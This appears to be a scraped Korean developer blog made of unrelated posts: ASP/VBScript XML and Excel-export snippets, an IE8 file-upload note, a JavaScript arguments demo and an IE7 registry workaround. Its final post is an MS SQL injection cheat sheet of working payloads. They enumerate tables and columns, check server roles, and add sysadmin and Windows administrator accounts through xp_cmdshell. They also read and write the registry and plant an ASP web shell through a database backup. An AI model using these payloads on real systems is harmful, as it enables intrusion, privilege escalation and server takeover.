<%   
    Dim xmlPars
    Dim root
    Dim list
    Dim title
    Dim date2
    Dim url
    DIM i, subject, regdate

    Set xmlPars = Server.CreateObject("MicroSoft.XMLDOM")

    xmlPars.AppendChild(xmlPars.createProcessingInstruction("xml", "version=""1.0"" encoding=""UTF-8"""))
   
    Set root = xmlPars.CreateElement("scp")

    xmlPars.AppendChild(root)

    '### 각 노드에 값을 지정한다 ###
    For i = 0 To 3
        subject = "test"
        regdate = "2009-04-01"

        Set list = xmlPars.CreateElement("list")

        root.AppendChild(list)

        Set title = xmlPars.CreateElement("title")
        Set date2 = xmlPars.CreateElement("date")
        Set url = xmlPars.CreateElement("url")

        list.AppendChild(title)
        list.AppendChild(date2)
        list.AppendChild(url)

        list.childNodes(0).text =  subject
        list.childNodes(1).text =  regdate
        list.childNodes(2).text = "http://naver.com"
    Next
    Response.Write xmlPars.xml
%>

<결과 화면>
  <?xml version="1.0" ?>
- <scp>
- <list>
  <title>test</title>
  <date>2009-04-01</date>
  <url>http://naver.com</url>
  </list>
- <list>
  <title>test</title>
  <date>2009-04-01</date>
  <url>http://naver.com</url>
  </list>
- <list>
  <title>test</title>
  <date>2009-04-01</date>
  <url>http://naver.com</url>
  </list>
- <list>
  <title>test</title>
  <date>2009-04-01</date>
  <url>http://naver.com</url>
  </list>
  </scp>

반응형

<%

         Set DBCon = CreateObject("ADODB.Connection")

         dbCon.Open "file name=D:\wwwroot\util\Excel\strDB.udl"

        

         'pathXsl = Server.MapPath("\")&"\excel\excel_2.xls"

         pathXslFile = "D:\wwwroot\util\Excel\excel.xls"

        

         Set objFs   = CreateObject("Scripting.FileSystemObject")

         Set objFile = objFs.CreateTextFile(pathXslFile, true)

 

         SQL = "Select id, comp_nm, dept_nm " &_

                    "  From compinfo"

          

         Response.Write "SQL             :" & SQL & "<br>"

         Response.Write "생성될 파일경로 :" & pathXslFile

        

         Set Rs    = CreateObject("ADODB.RecordSet")

         Rs.open SQL, DBCon

                  

         ' 셀의 제목이 될 부분

         ' " " 부분을 탭으로 밀어주면 필드별로 입력

         xlsLine = "       "  

         xlsLine = xlsLine & "번호"   & "   "

         xlsLine = xlsLine & "업체명" & "   "

         xlsLine = xlsLine & "부서"   & "   "

 

        ' 실제 Excel 파일에 쓰기

         objFile.WriteLine(xlsLine)

        

         ' 셀의 값이 될 부분

         DO UNTIL Rs.EOF

                  xlsLine = "       "

                  xlsLine = xlsLine & rs(0) & "      "

                  xlsLine = xlsLine & rs(1) & "      "

                  xlsLine = xlsLine & rs(2) & "      "

                 

                  objFile.WriteLine(xlsLine)

 

                  Rs.MoveNext

         LOOP

%>

 

출처:http://cafe.naver.com/webzero0/279 

반응형
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1

DIM BinaryStream

set BinaryStream = CreateObject("ADODB.Stream")

BinaryStream.Type = adTypeBinary

BinaryStream.Open
BinaryStream.LoadFromFile FileName

ReadBinaryFile = BinaryStream.Read
END Function
반응형
업로드 페이지에 항상 <input type=file>을 이용했는데..
어제 iE8로 업그레이드하고 난 후부터, 파일을 찾을 수 없다하여.. 확인해보니.. 잰장
지멋데로 IE8이 경로를 바꿔버린다.
네이버씨에게 물어봤더니 아래와 같이 알려주더라.  이젠 어쩌란 말인가?
헉~

IE8 정식버전에서 변경된 점 몇가지.

1. <input type=file>

<input type=file> 에서 javascript-x로 value 값을 얻어오지 못함. 이는 파일의 경로에 사용자의 이름이나 profile 등의 정보가 포함되어 있을수 있어 보안상의 문제로 얻어올 수 없게 함.

단, [ 보안설정 > 인터넷 영역 > 파일을 서버에 업로드할 때 로컬 디렉터리 경로 포함 ] 옵션이 '사용'으로 선택된 경우는 이전과 같이 동작. 따라서 기본적으로는 js로 파일의 value를 얻어올시 단순하게 파일명만을 얻어오게 됨. (RC1 버전까진)

하지만 파일명만을 얻어오게 되면 기존 js 스크립트에서 <input type=file>에서 얻어온 value를 파싱 할때 \를 이용해 파일명 등을 구분해 사용하던 기존 스크립트는 에러를 발생하게 되기 때문에, 이에 대한 호환성을 유지하기 위해 [ C:\fakepath\파일명.확장자 ] 형태로 value 값이 넘어오도록 정식버전에선 RC1과 다르게 변경됨.

즉, 실제 파일이 C가 아닌 D드라이브에 있다고 하더라도 return 되는 값은 C:\fakepath\...로 넘어오게 되는데, 실제 서버에 전송될때에는 이 형태가 전송되는 것은 아니다. 이것은 단지 기존 스크립트와의 호환성을 위해 MS에서 파일명앞에 추가되도록 한 것일 뿐이다.

Opera 10 alpha 버전에서는 C:\fake_path\ 와 같은 형태로 적용되어 있으나, IE에서는 폴더명에 특별문자가 포함되는 것을 원하지 않았고, 또한 폴더명이 8글자 내외로 처리되길 원했기 때문에 underscore를 빼고 설정.

값을 얻어오는 것도 안되지만, 할당하는 것도 안된다. 즉, js로 file control value 값을 얻거나 할당하지 못하기 때문에 사용자가 file을 선택한 형태로만 작업을 처리해야 한다.

추가 (3/26) :
HTML 5 권고사항으로 관련 이슈가 포함 되었다.


2. IE7과의 호환성 향상을 위해 RC1과 달라진 점

IE7 standard mode에선 아래의 기능들에 대한 사용이 제한됨.

a. JSON object hidden
b. [DOM object].toString() 은 다시 원복되어, IE7과 같이 [object]만 return
c. object.defineProperty/object.getOwnPropertyDescript-xor API hidden


+ 참고 link :
반응형

blog_event.jpg


이거 당첨되서 소지섭 싸인이랑
칸타타 12갠가? 8갠가? 왔따. 하도 오래되서 기억이 가물...
아무생각없이 걍 붙였넣는데. 당첨됐다. 기뿌다

반응형

function test()
{
alert( arguments.length );          // 결과 : 3
alert( arguments[0] );               // 결과 : 0
}

test( '0', '1', '2' );

반응형
반응형

IE7 and Smart Device Projects in VS 2005

Coming back from the Holidays, my Visual Studio 2005 installation would fail trying to create a new native Smart Device Project. Uninstalling the Windows Mobile SDKs and reinstalling them... and even uninstalling/reinstalling Visual Studio did not solve the issue.

I was finally reminded of an issue I had seen a while back. Installing IE7 caused this problem! Fortunately there is a workaround. Fernando Zandoná, the PM in charge of our Windows Mobile SDK logged this issue and many others a while back in his blog.

Unable to Create Native (C++) Projects
VC++ Project Wizards are pretty much HTML files + scripts - Visual Studio uses IE to render and present those "web pages" as a wizard. The problem is that, due to the new security model, IE7 does not trust some of those scripts; as a result you keep getting the "New Project" dialog and can't move forward on the wizard. The workaround here is to let IE know that the smart device VC++ wizard is a nice guy and ok to run.

 

You will need to open the registry entry: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved

And add a new entry named: {D245F352-3F45-4516-B1E6-04608DA126CC}

 This solved the issue and I can get back to coding!

 -Luis Cabrera

*출처 : http://blogs.msdn.com/windowsmobile/archive/2007/01/08/ie7-and-smart-device-projects-in-vs-2005.aspx 

-> Windows Mobile 5.O 개발 환경을 만들고 스마트 장치 응용 프로그램 프로젝트를 생성했는데 안된다. 망할.. IE7 이나 IE8 이 설치되어있다면 안된다. 처음에 IE7, IE8 다 지우고 하니까 되드라.. 근데 다시 IE7을 설치하니까 또 안되드라.. 그런던 중 위 방법을 찾았다. 레지스트리에 위의 키 하나만 추가해주면 해결된다... 완전 삽질했다. 깔았다 지웠다. 하루종일~

반응형

 

1. 다음과 같은 조건식을 삽입한다.
;and 1=1
;and 1=2 
;and user>0

2. 기본적으로 제공되는 기본 시스템 오브젝트에 대한 조건식을 검사해 본다.
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

3. where 조건식을 넣어 본다.
'and ''=' 
'and  '%25'='


4. select 구문을 사용한다.
;and (Select Count(*) from [테이블명])>0 --
;and (select top 1 len(열수) from 테이블명)>0


5. 컬럼명 추출
(1) Access 경우 :  and (select top 1 asc(mid(컬럼명, 1,1)) from 테이블)>0 

(2) Mssql의 경우 :  and (select top 1 unicode(substring(컬럼명,1,1)) from 테이블명)>0

6. 데이터베이스 권한

;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));-- 
;and 1=(SELECT IS_MEMBER('db_owner'));-- 


7. 스토어프로시저를 이용한 계정 추가하기  
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

8. dir 결과쿼리하기 
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:' 
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)


9. 디렉터리 정보 추출하기 및 웹쉘 실행  
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 
;insert temp exec master.dbo.xp_availablemedia;-- 
;insert into temp(id) exec master.dbo.xp_subdirs 'c:';-- 
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:';-- 
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:webindex.asp';--


10. 확장스토어 프로시저 공격

xp_regenumvalues 
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionRun'  

xp_regread  
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','CommonFilesDir'  

xp_regwrite  
;exec xp_regwrite HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','ValueName','reg_sz','hello'

xp_regdeletevalue
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','TestValueName'

xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionTestkey'


10.mssql의 backup용 webshell 생성하기
use model
create table cmd(str image);
insert into cmd(str) values ('<% Dim oScript %>');
backup database model to disk='c:l.asp';

11.버전확인하기
;and (select @@version)>0 
;and user_name()='dbo'
;and (select user_name())>0 
;and (select db_name())>0 


12.webshell
use model 
create table cmd(str image);
insert int cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
backup database model to disk='g:wwwtestl.asp'; 




[출처] [mssql] 중국해커의 MS SQL 인젝션 해킹기법|작성자 weespk

반응형
반응형

+ Recent posts